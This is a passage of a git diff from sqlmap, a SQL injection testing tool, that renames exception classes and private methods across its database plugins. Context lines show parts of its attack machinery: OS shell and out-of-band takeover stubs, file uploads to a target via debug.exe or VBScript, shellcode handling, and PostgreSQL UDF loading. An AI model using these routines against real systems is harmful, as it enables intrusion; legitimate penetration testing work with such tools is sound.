GenericTakeover class Takeover(GenericTakeover): @@ -14,18 +14,18 @@ class Takeover(GenericTakeover): def osCmd(self): errMsg = "on Firebird it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osShell(self): errMsg = "on Firebird it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osPwn(self): errMsg = "on Firebird it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osSmb(self): errMsg = "on Firebird it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index 5a41d7747..af2a015f8 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): @@ -15,4 +15,4 @@ class Connector(GenericConnector): def connect(self): errMsg = "on SAP MaxDB it is not possible to establish a " errMsg += "direct connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index a307ec0df..ce7dd3e95 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -13,8 +13,8 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries -from lib.core.exception import sqlmapMissingMandatoryOptionException -from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapNoneDataException from lib.core.settings import CURRENT_DB from lib.utils.pivotdumptable import pivotDumpTable from plugins.generic.enumeration import Enumeration as GenericEnumeration @@ -107,7 +107,7 @@ class Enumeration(GenericEnumeration): if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" - raise sqlmapMissingMandatoryOptionException, errMsg + raise SqlmapMissingMandatoryOptionException, errMsg conf.db = safeSQLIdentificatorNaming(conf.db) @@ -124,7 +124,7 @@ class Enumeration(GenericEnumeration): else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index 580e30653..2ed932b9b 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): @@ -14,8 +14,8 @@ class Filesystem(GenericFilesystem): def readFile(self, rFile): errMsg = "on SAP MaxDB reading of files is not supported" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def writeFile(self, wFile, dFile, fileType=None): errMsg = "on SAP MaxDB writing of files is not supported" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 5ff9fca86..4abc00aa8 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -22,7 +22,7 @@ class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MAXDB) - def __versionCheck(self): + def _versionCheck(self): infoMsg = "executing %s SYSINFO version check" % DBMS.MAXDB logger.info(infoMsg) @@ -76,7 +76,7 @@ class Fingerprint(GenericFingerprint): value += DBMS.MAXDB return value - actVer = Format.getDbms() + " (%s)" % self.__versionCheck() + actVer = Format.getDbms() + " (%s)" % self._versionCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index 78b22b9dd..cb7fb1d3b 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): @@ -14,18 +14,18 @@ class Takeover(GenericTakeover): def osCmd(self): errMsg = "on SAP MaxDB it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osShell(self): errMsg = "on SAP MaxDB it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osPwn(self): errMsg = "on SAP MaxDB it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osSmb(self): errMsg = "on SAP MaxDB it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index 71e311aa0..a332d138e 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -16,7 +16,7 @@ import logging from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): @@ -42,7 +42,7 @@ class Connector(GenericConnector): try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) except pymssql.OperationalError, msg: - raise sqlmapConnectionException, msg + raise SqlmapConnectionException, msg self.setCursor() self.connected() @@ -63,7 +63,7 @@ class Connector(GenericConnector): except (pymssql.OperationalError, pymssql.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) except pymssql.InternalError, msg: - raise sqlmapConnectionException, msg + raise SqlmapConnectionException, msg return retVal diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 5d5e2e96c..bc88c2e6c 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -22,7 +22,7 @@ from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import SqlmapNoneDataException from lib.core.settings import CURRENT_DB from lib.request import inject @@ -150,7 +150,7 @@ class Enumeration(GenericEnumeration): if not kb.data.cachedTables: errMsg = "unable to retrieve the tables for any database" - raise sqlmapNoneDataException(errMsg) + raise SqlmapNoneDataException(errMsg) else: for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 8ebfd5f17..0ef231a8c 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -21,8 +21,8 @@ from lib.core.data import logger from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem @@ -31,7 +31,7 @@ class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) - def __dataToScr(self, fileContent, chunkName): + def _dataToScr(self, fileContent, chunkName): fileLines = [] fileSize = len(fileContent) lineAddr = 0x100 @@ -62,10 +62,10 @@ class Filesystem(GenericFilesystem): return fileLines - def __updateDestChunk(self, fileContent, tmpPath): + def _updateDestChunk(self, fileContent, tmpPath): randScr = "tmpf%s.scr" % randomStr(lowercase=True) chunkName = randomStr(lowercase=True) - fileScrLines = self.__dataToScr(fileContent, chunkName) + fileScrLines = self._dataToScr(fileContent, chunkName) logger.debug("uploading debug script to %s\%s, please wait.." % (tmpPath, randScr)) @@ -147,7 +147,7 @@ class Filesystem(GenericFilesystem): if not isNumPosStrValue(count): errMsg = "unable to retrieve the content of the " errMsg += "file '%s'" % rFile - raise sqlmapNoneDataException(errMsg) + raise SqlmapNoneDataException(errMsg) indexRange = getLimitRange(count) @@ -162,9 +162,9 @@ class Filesystem(GenericFilesystem): def unionWriteFile(self, wFile, dFile, fileType): errMsg = "Microsoft SQL Server does not support file upload with " errMsg += "UNION query SQL injection technique" - raise sqlmapUnsupportedFeatureException(errMsg) + raise SqlmapUnsupportedFeatureException(errMsg) - def __stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): + def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): infoMsg = "using PowerShell to write the %s file content " % fileType infoMsg += "to file '%s', please wait.." % dFile logger.info(infoMsg) @@ -191,7 +191,7 @@ class Filesystem(GenericFilesystem): self.execCmd(complComm) - def __stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType): + def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType): infoMsg = "using debug.exe to write the %s " % fileType infoMsg += "file content to file '%s', please wait.." % dFile logger.info(infoMsg) @@ -202,7 +202,7 @@ class Filesystem(GenericFilesystem): debugSize = 0xFF00 if wFileSize < debugSize: - chunkName = self.__updateDestChunk(wFileContent, tmpPath) + chunkName = self._updateDestChunk(wFileContent, tmpPath) debugMsg = "renaming chunk file %s\%s to %s " % (tmpPath, chunkName, fileType) debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile) @@ -222,7 +222,7 @@ class Filesystem(GenericFilesystem): for i in xrange(0, wFileSize, debugSize): wFileChunk = wFileContent[i:i + debugSize] - chunkName = self.__updateDestChunk(wFileChunk, tmpPath) + chunkName = self._updateDestChunk(wFileChunk, tmpPath) if i == 0: debugMsg = "renaming chunk " @@ -246,7 +246,7 @@ class Filesystem(GenericFilesystem): self.execCmd(complComm) - def __stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType): + def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType): infoMsg = "using a custom visual basic script to write the " infoMsg += "%s file content to file '%s', please wait.." % (fileType, dFile) logger.info(infoMsg) @@ -341,7 +341,7 @@ class Filesystem(GenericFilesystem): wFileContent = wFilePointer.read() wFilePointer.close() - self.__stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType) + self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType) sameFile = self.askCheckWrittenFile(wFile, dFile, fileType) @@ -351,5 +351,5 @@ class Filesystem(GenericFilesystem): choice = readInput(message, default="Y") if not choice or choice.lower() == "y": - self.__stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType) - #self.__stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType) + self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType) + #self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType) diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index 5b21846f7..640e5512b 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import SqlmapSyntaxException from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @@ -24,7 +24,7 @@ class Syntax(GenericSyntax): index = expression[firstIndex:].find("'") if index == -1: - raise sqlmapSyntaxException("Unenclosed ' in '%s'" % expression) + raise SqlmapSyntaxException("Unenclosed ' in '%s'" % expression) lastIndex = firstIndex + index old = "'%s'" % expression[firstIndex:lastIndex] @@ -48,7 +48,7 @@ class Syntax(GenericSyntax): index = expression[firstIndex:].find(")") if index == -1: - raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression) + raise SqlmapSyntaxException("Unenclosed ) in '%s'" % expression) lastIndex = firstIndex + index + 1 old = expression[firstIndex:lastIndex] diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index 37f397a41..7feaec045 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -9,7 +9,7 @@ import binascii from lib.core.common import Backend from lib.core.data import logger -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.takeover import Takeover as GenericTakeover @@ -62,7 +62,7 @@ class Takeover(GenericTakeover): errMsg += "overflow because it does not have a valid return " errMsg += "code for the underlying operating system (Windows " errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(), Backend.getOsServicePack()) - raise sqlmapUnsupportedFeatureException(errMsg) + raise SqlmapUnsupportedFeatureException(errMsg) shellcodeChar = "" hexStr = binascii.hexlify(self.shellcodeString[:-1]) diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index 02251ecf5..4e46b0f1b 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -14,7 +14,7 @@ import logging from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): @@ -37,7 +37,7 @@ class Connector(GenericConnector): try: self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True) except (pymysql.OperationalError, pymysql.InternalError), msg: - raise sqlmapConnectionException, msg[1] + raise SqlmapConnectionException, msg[1] self.setCursor() self.connected() @@ -58,7 +58,7 @@ class Connector(GenericConnector): except (pymysql.OperationalError, pymysql.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) except pymysql.InternalError, msg: - raise sqlmapConnectionException, msg[1] + raise SqlmapConnectionException, msg[1] self.connector.commit() diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index aec8d7292..d91e3730d 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -16,7 +16,7 @@ from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.enums import PLACE -from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import SqlmapNoneDataException from lib.request import inject from lib.techniques.union.use import unionUse from plugins.generic.filesystem import Filesystem as GenericFilesystem @@ -63,7 +63,7 @@ class Filesystem(GenericFilesystem): logger.warn(warnMsg) result = self.nonStackedReadFile(rFile) else: - raise sqlmapNoneDataException, warnMsg + raise SqlmapNoneDataException, warnMsg else: length = int(length) sustrLen = 1024 diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index e93723f3a..1acc5fb3b 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -26,7 +26,7 @@ class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MYSQL) - def __commentCheck(self): + def _commentCheck(self): infoMsg = "executing %s comment injection fingerprint" % DBMS.MYSQL logger.info(infoMsg) @@ -111,7 +111,7 @@ class Fingerprint(GenericFingerprint): value += actVer return value - comVer = self.__commentCheck() + comVer = self._commentCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index 32abde3c5..64347347b 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -9,7 +9,7 @@ import binascii import re from lib.core.convert import utf8encode -from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import SqlmapSyntaxException from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @@ -41,7 +41,7 @@ class Syntax(GenericSyntax): index = expression[firstIndex:].find(")") if index == -1: - raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + raise SqlmapSyntaxException, "Unenclosed ) in '%s'" % expression lastIndex = firstIndex + index + 1 old = expression[firstIndex:lastIndex] diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 86ba3adde..b9e5689b1 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -16,7 +16,7 @@ import os from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector os.environ["NLS_LANG"] = ".AL32UTF8" @@ -46,7 +46,7 @@ class Connector(GenericConnector): try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password) except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError), msg: - raise sqlmapConnectionException, msg + raise SqlmapConnectionException, msg self.setCursor() self.connected() @@ -67,7 +67,7 @@ class Connector(GenericConnector): except (cx_Oracle.DatabaseError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg) except cx_Oracle.InternalError, msg: - raise sqlmapConnectionException, msg + raise SqlmapConnectionException, msg self.connector.commit() diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index 83055bae7..6cc90e0c0 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -19,7 +19,7 @@ from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import SqlmapNoneDataException from lib.request import inject from plugins.generic.enumeration import Enumeration as GenericEnumeration @@ -160,6 +160,6 @@ class Enumeration(GenericEnumeration): if not kb.data.cachedUsersRoles: errMsg = "unable to retrieve the roles " errMsg += "for the database users" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg return kb.data.cachedUsersRoles, areAdmins diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index 1fc263c6b..06b9bf0de 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): @@ -15,9 +15,9 @@ class Filesystem(GenericFilesystem): def readFile(self, rFile): errMsg = "File system read access not yet implemented for " errMsg += "Oracle" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def writeFile(self, wFile, dFile, fileType=None): errMsg = "File system write access not yet implemented for " errMsg += "Oracle" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 2dbf74660..eb159b4b1 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import SqlmapSyntaxException from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @@ -24,7 +24,7 @@ class Syntax(GenericSyntax): index = expression[firstIndex:].find("'") if index == -1: - raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + raise SqlmapSyntaxException, "Unenclosed ' in '%s'" % expression lastIndex = firstIndex + index old = "'%s'" % expression[firstIndex:lastIndex] @@ -47,7 +47,7 @@ class Syntax(GenericSyntax): index = expression[firstIndex:].find("))") if index == -1: - raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + raise SqlmapSyntaxException, "Unenclosed ) in '%s'" % expression lastIndex = firstIndex + index + 1 old = expression[firstIndex:lastIndex] diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index ab308e984..60b4c46a0 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): @@ -15,19 +15,19 @@ class Takeover(GenericTakeover): def osCmd(self): errMsg = "Operating system command execution functionality not " errMsg += "yet implemented for Oracle" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osShell(self): errMsg = "Operating system shell functionality not yet " errMsg += "implemented for Oracle" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osPwn(self): errMsg = "Operating system out-of-band control functionality " errMsg += "not yet implemented for Oracle" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osSmb(self): errMsg = "One click operating system out-of-band control " errMsg += "functionality not yet implemented for Oracle" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index f2f11d528..74b61f5b9 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -14,7 +14,7 @@ except ImportError: pass from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): @@ -37,7 +37,7 @@ class Connector(GenericConnector): try: self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port) except psycopg2.OperationalError, msg: - raise sqlmapConnectionException, msg + raise SqlmapConnectionException, msg self.connector.set_client_encoding('UNICODE') @@ -60,7 +60,7 @@ class Connector(GenericConnector): except (psycopg2.OperationalError, psycopg2.ProgrammingError), msg: logger.warn(("(remote) %s" % msg).strip()) except psycopg2.InternalError, msg: - raise sqlmapConnectionException, msg + raise SqlmapConnectionException, msg self.connector.commit() diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 74b70c4e9..3623def59 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -10,7 +10,7 @@ import os from lib.core.common import randomInt from lib.core.data import kb from lib.core.data import logger -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem @@ -31,7 +31,7 @@ class Filesystem(GenericFilesystem): def unionWriteFile(self, wFile, dFile, fileType): errMsg = "PostgreSQL does not support file upload with UNION " errMsg += "query SQL injection technique" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def stackedWriteFile(self, wFile, dFile, fileType): wFileSize = os.path.getsize(wFile) @@ -39,7 +39,7 @@ class Filesystem(GenericFilesystem): if wFileSize > 8192: errMsg = "on PostgreSQL it is not possible to write files " errMsg += "bigger than 8192 bytes at the moment" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg self.oid = randomInt() diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index de0580ae9..31ca0435c 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import SqlmapSyntaxException from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @@ -29,7 +29,7 @@ class Syntax(GenericSyntax): index = expression[firstIndex:].find("'") if index == -1: - raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + raise SqlmapSyntaxException, "Unenclosed ' in '%s'" % expression lastIndex = firstIndex + index old = "'%s'" % expression[firstIndex:lastIndex] @@ -52,7 +52,7 @@ class Syntax(GenericSyntax): index = expression[firstIndex:].find("))") if index == -1: - raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + raise SqlmapSyntaxException, "Unenclosed ) in '%s'" % expression lastIndex = firstIndex + index + 1 old = expression[firstIndex:lastIndex] diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index c636f991b..6451b640b 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -11,7 +11,7 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import OS -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.takeover import Takeover as GenericTakeover @@ -53,7 +53,7 @@ class Takeover(GenericTakeover): majorVer = "8.2" else: errMsg = "unsupported feature on versions of PostgreSQL before 8.2" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg if Backend.isOs(OS.WINDOWS): self.udfLocalFile += "/postgresql/windows/%d/%s/lib_postgresqludf_sys.dll" % (Backend.getArch(), majorVer) diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index 435a74a48..0f148a257 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -15,8 +15,8 @@ import logging from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapMissingDependence +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapMissingDependence from plugins.generic.connector import Connector as GenericConnector @@ -56,12 +56,12 @@ class Connector(GenericConnector): except ImportError: errMsg = "sqlmap requires 'python-sqlite2' third-party library " errMsg += "in order to directly connect to the database '%s'" % self.db - raise sqlmapMissingDependence, errMsg + raise SqlmapMissingDependence, errMsg self.__sqlite = sqlite self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout) except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError), msg: - raise sqlmapConnectionException, msg[0] + raise SqlmapConnectionException, msg[0] self.setCursor() self.connected() @@ -79,7 +79,7 @@ class Connector(GenericConnector): except self.__sqlite.OperationalError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[0]) except self.__sqlite.DatabaseError, msg: - raise sqlmapConnectionException, msg[0] + raise SqlmapConnectionException, msg[0] self.connector.commit() diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index 89b377277..cba0cac73 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -6,7 +6,7 @@ See the file 'doc/COPYING' for copying permission """ from lib.core.data import logger -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): @@ -57,7 +57,7 @@ class Enumeration(GenericEnumeration): def searchColumn(self): errMsg = "on SQLite you must specify the table and columns to dump" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def getHostname(self): warnMsg = "on SQLite it is not possible to enumerate the hostname" diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index 3429abebe..75562cf28 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): @@ -14,8 +14,8 @@ class Filesystem(GenericFilesystem): def readFile(self, rFile): errMsg = "on SQLite it is not possible to read files" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def writeFile(self, wFile, dFile, fileType=None): errMsg = "on SQLite it is not possible to write files" - raise 